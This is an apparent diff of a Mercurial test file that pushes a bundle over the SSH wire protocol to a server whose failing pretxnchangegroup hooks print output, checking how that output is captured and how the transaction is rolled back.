135 i> \x00\x00\x00\x00\x00\x00\x00\x00
135 i> \x00\x00\x00\x00\x00\x00\x00\x00
136 i> write(2) -> None:
136 i> write(2) -> 2:
137 i> 0\n
137 i> 0\n
138 i> flush() -> None
138 i> flush() -> None
139 o> readline() -> 2:
139 o> readline() -> 2:
140 o> 0\n
140 o> 0\n
141 o> readline() -> 2:
141 o> readline() -> 2:
142 o> 1\n
142 o> 1\n
143 o> read(1) -> 1: 0
143 o> read(1) -> 1: 0
144 result: 0
144 result: 0
145 remote output:
145 remote output:
146 e> read(-1) -> 115:
146 e> read(-1) -> 115:
147 e> abort: incompatible Mercurial client; bundle2 required\n
147 e> abort: incompatible Mercurial client; bundle2 required\n
148 e> (see https://www.mercurial-scm.org/wiki/IncompatibleClient)\n
148 e> (see https://www.mercurial-scm.org/wiki/IncompatibleClient)\n
149
149
150 $ cd ..
150 $ cd ..
151
151
152 Create a pretxnchangegroup hook that fails. Give it multiple modes of printing
152 Create a pretxnchangegroup hook that fails. Give it multiple modes of printing
153 output so we can test I/O capture and behavior.
153 output so we can test I/O capture and behavior.
154
154
155 Test pushing to a server that has a pretxnchangegroup Python hook that fails
155 Test pushing to a server that has a pretxnchangegroup Python hook that fails
156
156
157 $ cat > $TESTTMP/failhook << EOF
157 $ cat > $TESTTMP/failhook << EOF
158 > from __future__ import print_function
158 > from __future__ import print_function
159 > import sys
159 > import sys
160 > def hook1line(ui, repo, **kwargs):
160 > def hook1line(ui, repo, **kwargs):
161 > ui.write('ui.write 1 line\n')
161 > ui.write('ui.write 1 line\n')
162 > return 1
162 > return 1
163 > def hook2lines(ui, repo, **kwargs):
163 > def hook2lines(ui, repo, **kwargs):
164 > ui.write('ui.write 2 lines 1\n')
164 > ui.write('ui.write 2 lines 1\n')
165 > ui.write('ui.write 2 lines 2\n')
165 > ui.write('ui.write 2 lines 2\n')
166 > return 1
166 > return 1
167 > def hook1lineflush(ui, repo, **kwargs):
167 > def hook1lineflush(ui, repo, **kwargs):
168 > ui.write('ui.write 1 line flush\n')
168 > ui.write('ui.write 1 line flush\n')
169 > ui.flush()
169 > ui.flush()
170 > return 1
170 > return 1
171 > def hookmultiflush(ui, repo, **kwargs):
171 > def hookmultiflush(ui, repo, **kwargs):
172 > ui.write('ui.write 1st\n')
172 > ui.write('ui.write 1st\n')
173 > ui.flush()
173 > ui.flush()
174 > ui.write('ui.write 2nd\n')
174 > ui.write('ui.write 2nd\n')
175 > ui.flush()
175 > ui.flush()
176 > return 1
176 > return 1
177 > def hookwriteandwriteerr(ui, repo, **kwargs):
177 > def hookwriteandwriteerr(ui, repo, **kwargs):
178 > ui.write('ui.write 1\n')
178 > ui.write('ui.write 1\n')
179 > ui.write_err('ui.write_err 1\n')
179 > ui.write_err('ui.write_err 1\n')
180 > ui.write('ui.write 2\n')
180 > ui.write('ui.write 2\n')
181 > ui.write_err('ui.write_err 2\n')
181 > ui.write_err('ui.write_err 2\n')
182 > return 1
182 > return 1
183 > def hookprintstdout(ui, repo, **kwargs):
183 > def hookprintstdout(ui, repo, **kwargs):
184 > print('printed line')
184 > print('printed line')
185 > return 1
185 > return 1
186 > def hookprintandwrite(ui, repo, **kwargs):
186 > def hookprintandwrite(ui, repo, **kwargs):
187 > print('print 1')
187 > print('print 1')
188 > ui.write('ui.write 1\n')
188 > ui.write('ui.write 1\n')
189 > print('print 2')
189 > print('print 2')
190 > ui.write('ui.write 2\n')
190 > ui.write('ui.write 2\n')
191 > return 1
191 > return 1
192 > def hookprintstderrandstdout(ui, repo, **kwargs):
192 > def hookprintstderrandstdout(ui, repo, **kwargs):
193 > print('stdout 1')
193 > print('stdout 1')
194 > print('stderr 1', file=sys.stderr)
194 > print('stderr 1', file=sys.stderr)
195 > print('stdout 2')
195 > print('stdout 2')
196 > print('stderr 2', file=sys.stderr)
196 > print('stderr 2', file=sys.stderr)
197 > return 1
197 > return 1
198 > EOF
198 > EOF
199
199
200 $ hg init failrepo
200 $ hg init failrepo
201 $ cd failrepo
201 $ cd failrepo
202
202
203 ui.write() in hook is redirected to stderr
203 ui.write() in hook is redirected to stderr
204
204
205 $ cat > .hg/hgrc << EOF
205 $ cat > .hg/hgrc << EOF
206 > [hooks]
206 > [hooks]
207 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook1line
207 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook1line
208 > EOF
208 > EOF
209
209
210 $ debugwireproto << EOF
210 $ debugwireproto << EOF
211 > command unbundle
211 > command unbundle
212 > # This is "force" in hex.
212 > # This is "force" in hex.
213 > heads 666f726365
213 > heads 666f726365
214 > PUSHFILE ../initial.v1.hg
214 > PUSHFILE ../initial.v1.hg
215 > readavailable
215 > readavailable
216 > EOF
216 > EOF
217 testing ssh1
217 testing ssh1
218 creating ssh peer from handshake results
218 creating ssh peer from handshake results
219 i> write(104) -> None:
219 i> write(104) -> 104:
220 i> hello\n
220 i> hello\n
221 i> between\n
221 i> between\n
222 i> pairs 81\n
222 i> pairs 81\n
223 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
223 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
224 i> flush() -> None
224 i> flush() -> None
225 o> readline() -> 4:
225 o> readline() -> 4:
226 o> 384\n
226 o> 384\n
227 o> readline() -> 384:
227 o> readline() -> 384:
228 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
228 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
229 o> readline() -> 2:
229 o> readline() -> 2:
230 o> 1\n
230 o> 1\n
231 o> readline() -> 1:
231 o> readline() -> 1:
232 o> \n
232 o> \n
233 sending unbundle command
233 sending unbundle command
234 i> write(9) -> None:
234 i> write(9) -> 9:
235 i> unbundle\n
235 i> unbundle\n
236 i> write(9) -> None:
236 i> write(9) -> 9:
237 i> heads 10\n
237 i> heads 10\n
238 i> write(10) -> None: 666f726365
238 i> write(10) -> 10: 666f726365
239 i> flush() -> None
239 i> flush() -> None
240 o> readline() -> 2:
240 o> readline() -> 2:
241 o> 0\n
241 o> 0\n
242 i> write(4) -> None:
242 i> write(4) -> 4:
243 i> 426\n
243 i> 426\n
244 i> write(426) -> None:
244 i> write(426) -> 426:
245 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
245 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
246 i> test\n
246 i> test\n
247 i> 0 0\n
247 i> 0 0\n
248 i> foo\n
248 i> foo\n
249 i> \n
249 i> \n
250 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
250 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
251 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
251 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
252 i> \x00\x00\x00\x00\x00\x00\x00\x00
252 i> \x00\x00\x00\x00\x00\x00\x00\x00
253 i> write(2) -> None:
253 i> write(2) -> 2:
254 i> 0\n
254 i> 0\n
255 i> flush() -> None
255 i> flush() -> None
256 o> readline() -> 2:
256 o> readline() -> 2:
257 o> 0\n
257 o> 0\n
258 o> readline() -> 2:
258 o> readline() -> 2:
259 o> 1\n
259 o> 1\n
260 o> read(1) -> 1: 0
260 o> read(1) -> 1: 0
261 result: 0
261 result: 0
262 remote output:
262 remote output:
263 e> read(-1) -> 196:
263 e> read(-1) -> 196:
264 e> adding changesets\n
264 e> adding changesets\n
265 e> adding manifests\n
265 e> adding manifests\n
266 e> adding file changes\n
266 e> adding file changes\n
267 e> added 1 changesets with 1 changes to 1 files\n
267 e> added 1 changesets with 1 changes to 1 files\n
268 e> ui.write 1 line\n
268 e> ui.write 1 line\n
269 e> transaction abort!\n
269 e> transaction abort!\n
270 e> rollback completed\n
270 e> rollback completed\n
271 e> abort: pretxnchangegroup.fail hook failed\n
271 e> abort: pretxnchangegroup.fail hook failed\n
272
272
273 testing ssh2
273 testing ssh2
274 creating ssh peer from handshake results
274 creating ssh peer from handshake results
275 i> write(171) -> None:
275 i> write(171) -> 171:
276 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
276 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
277 i> hello\n
277 i> hello\n
278 i> between\n
278 i> between\n
279 i> pairs 81\n
279 i> pairs 81\n
280 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
280 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
281 i> flush() -> None
281 i> flush() -> None
282 o> readline() -> 62:
282 o> readline() -> 62:
283 o> upgraded * exp-ssh-v2-0001\n (glob)
283 o> upgraded * exp-ssh-v2-0001\n (glob)
284 o> readline() -> 4:
284 o> readline() -> 4:
285 o> 383\n
285 o> 383\n
286 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
286 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
287 o> read(1) -> 1:
287 o> read(1) -> 1:
288 o> \n
288 o> \n
289 sending unbundle command
289 sending unbundle command
290 i> write(9) -> None:
290 i> write(9) -> 9:
291 i> unbundle\n
291 i> unbundle\n
292 i> write(9) -> None:
292 i> write(9) -> 9:
293 i> heads 10\n
293 i> heads 10\n
294 i> write(10) -> None: 666f726365
294 i> write(10) -> 10: 666f726365
295 i> flush() -> None
295 i> flush() -> None
296 o> readline() -> 2:
296 o> readline() -> 2:
297 o> 0\n
297 o> 0\n
298 i> write(4) -> None:
298 i> write(4) -> 4:
299 i> 426\n
299 i> 426\n
300 i> write(426) -> None:
300 i> write(426) -> 426:
301 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
301 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
302 i> test\n
302 i> test\n
303 i> 0 0\n
303 i> 0 0\n
304 i> foo\n
304 i> foo\n
305 i> \n
305 i> \n
306 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
306 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
307 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
307 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
308 i> \x00\x00\x00\x00\x00\x00\x00\x00
308 i> \x00\x00\x00\x00\x00\x00\x00\x00
309 i> write(2) -> None:
309 i> write(2) -> 2:
310 i> 0\n
310 i> 0\n
311 i> flush() -> None
311 i> flush() -> None
312 o> readline() -> 2:
312 o> readline() -> 2:
313 o> 0\n
313 o> 0\n
314 o> readline() -> 2:
314 o> readline() -> 2:
315 o> 1\n
315 o> 1\n
316 o> read(1) -> 1: 0
316 o> read(1) -> 1: 0
317 result: 0
317 result: 0
318 remote output:
318 remote output:
319 e> read(-1) -> 196:
319 e> read(-1) -> 196:
320 e> adding changesets\n
320 e> adding changesets\n
321 e> adding manifests\n
321 e> adding manifests\n
322 e> adding file changes\n
322 e> adding file changes\n
323 e> added 1 changesets with 1 changes to 1 files\n
323 e> added 1 changesets with 1 changes to 1 files\n
324 e> ui.write 1 line\n
324 e> ui.write 1 line\n
325 e> transaction abort!\n
325 e> transaction abort!\n
326 e> rollback completed\n
326 e> rollback completed\n
327 e> abort: pretxnchangegroup.fail hook failed\n
327 e> abort: pretxnchangegroup.fail hook failed\n
328
328
329 And a variation that writes multiple lines using ui.write
329 And a variation that writes multiple lines using ui.write
330
330
331 $ cat > .hg/hgrc << EOF
331 $ cat > .hg/hgrc << EOF
332 > [hooks]
332 > [hooks]
333 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook2lines
333 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook2lines
334 > EOF
334 > EOF
335
335
336 $ debugwireproto << EOF
336 $ debugwireproto << EOF
337 > command unbundle
337 > command unbundle
338 > # This is "force" in hex.
338 > # This is "force" in hex.
339 > heads 666f726365
339 > heads 666f726365
340 > PUSHFILE ../initial.v1.hg
340 > PUSHFILE ../initial.v1.hg
341 > readavailable
341 > readavailable
342 > EOF
342 > EOF
343 testing ssh1
343 testing ssh1
344 creating ssh peer from handshake results
344 creating ssh peer from handshake results
345 i> write(104) -> None:
345 i> write(104) -> 104:
346 i> hello\n
346 i> hello\n
347 i> between\n
347 i> between\n
348 i> pairs 81\n
348 i> pairs 81\n
349 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
349 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
350 i> flush() -> None
350 i> flush() -> None
351 o> readline() -> 4:
351 o> readline() -> 4:
352 o> 384\n
352 o> 384\n
353 o> readline() -> 384:
353 o> readline() -> 384:
354 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
354 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
355 o> readline() -> 2:
355 o> readline() -> 2:
356 o> 1\n
356 o> 1\n
357 o> readline() -> 1:
357 o> readline() -> 1:
358 o> \n
358 o> \n
359 sending unbundle command
359 sending unbundle command
360 i> write(9) -> None:
360 i> write(9) -> 9:
361 i> unbundle\n
361 i> unbundle\n
362 i> write(9) -> None:
362 i> write(9) -> 9:
363 i> heads 10\n
363 i> heads 10\n
364 i> write(10) -> None: 666f726365
364 i> write(10) -> 10: 666f726365
365 i> flush() -> None
365 i> flush() -> None
366 o> readline() -> 2:
366 o> readline() -> 2:
367 o> 0\n
367 o> 0\n
368 i> write(4) -> None:
368 i> write(4) -> 4:
369 i> 426\n
369 i> 426\n
370 i> write(426) -> None:
370 i> write(426) -> 426:
371 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
371 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
372 i> test\n
372 i> test\n
373 i> 0 0\n
373 i> 0 0\n
374 i> foo\n
374 i> foo\n
375 i> \n
375 i> \n
376 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
376 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
377 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
377 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
378 i> \x00\x00\x00\x00\x00\x00\x00\x00
378 i> \x00\x00\x00\x00\x00\x00\x00\x00
379 i> write(2) -> None:
379 i> write(2) -> 2:
380 i> 0\n
380 i> 0\n
381 i> flush() -> None
381 i> flush() -> None
382 o> readline() -> 2:
382 o> readline() -> 2:
383 o> 0\n
383 o> 0\n
384 o> readline() -> 2:
384 o> readline() -> 2:
385 o> 1\n
385 o> 1\n
386 o> read(1) -> 1: 0
386 o> read(1) -> 1: 0
387 result: 0
387 result: 0
388 remote output:
388 remote output:
389 e> read(-1) -> 218:
389 e> read(-1) -> 218:
390 e> adding changesets\n
390 e> adding changesets\n
391 e> adding manifests\n
391 e> adding manifests\n
392 e> adding file changes\n
392 e> adding file changes\n
393 e> added 1 changesets with 1 changes to 1 files\n
393 e> added 1 changesets with 1 changes to 1 files\n
394 e> ui.write 2 lines 1\n
394 e> ui.write 2 lines 1\n
395 e> ui.write 2 lines 2\n
395 e> ui.write 2 lines 2\n
396 e> transaction abort!\n
396 e> transaction abort!\n
397 e> rollback completed\n
397 e> rollback completed\n
398 e> abort: pretxnchangegroup.fail hook failed\n
398 e> abort: pretxnchangegroup.fail hook failed\n
399
399
400 testing ssh2
400 testing ssh2
401 creating ssh peer from handshake results
401 creating ssh peer from handshake results
402 i> write(171) -> None:
402 i> write(171) -> 171:
403 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
403 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
404 i> hello\n
404 i> hello\n
405 i> between\n
405 i> between\n
406 i> pairs 81\n
406 i> pairs 81\n
407 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
407 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
408 i> flush() -> None
408 i> flush() -> None
409 o> readline() -> 62:
409 o> readline() -> 62:
410 o> upgraded * exp-ssh-v2-0001\n (glob)
410 o> upgraded * exp-ssh-v2-0001\n (glob)
411 o> readline() -> 4:
411 o> readline() -> 4:
412 o> 383\n
412 o> 383\n
413 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
413 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
414 o> read(1) -> 1:
414 o> read(1) -> 1:
415 o> \n
415 o> \n
416 sending unbundle command
416 sending unbundle command
417 i> write(9) -> None:
417 i> write(9) -> 9:
418 i> unbundle\n
418 i> unbundle\n
419 i> write(9) -> None:
419 i> write(9) -> 9:
420 i> heads 10\n
420 i> heads 10\n
421 i> write(10) -> None: 666f726365
421 i> write(10) -> 10: 666f726365
422 i> flush() -> None
422 i> flush() -> None
423 o> readline() -> 2:
423 o> readline() -> 2:
424 o> 0\n
424 o> 0\n
425 i> write(4) -> None:
425 i> write(4) -> 4:
426 i> 426\n
426 i> 426\n
427 i> write(426) -> None:
427 i> write(426) -> 426:
428 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
428 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
429 i> test\n
429 i> test\n
430 i> 0 0\n
430 i> 0 0\n
431 i> foo\n
431 i> foo\n
432 i> \n
432 i> \n
433 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
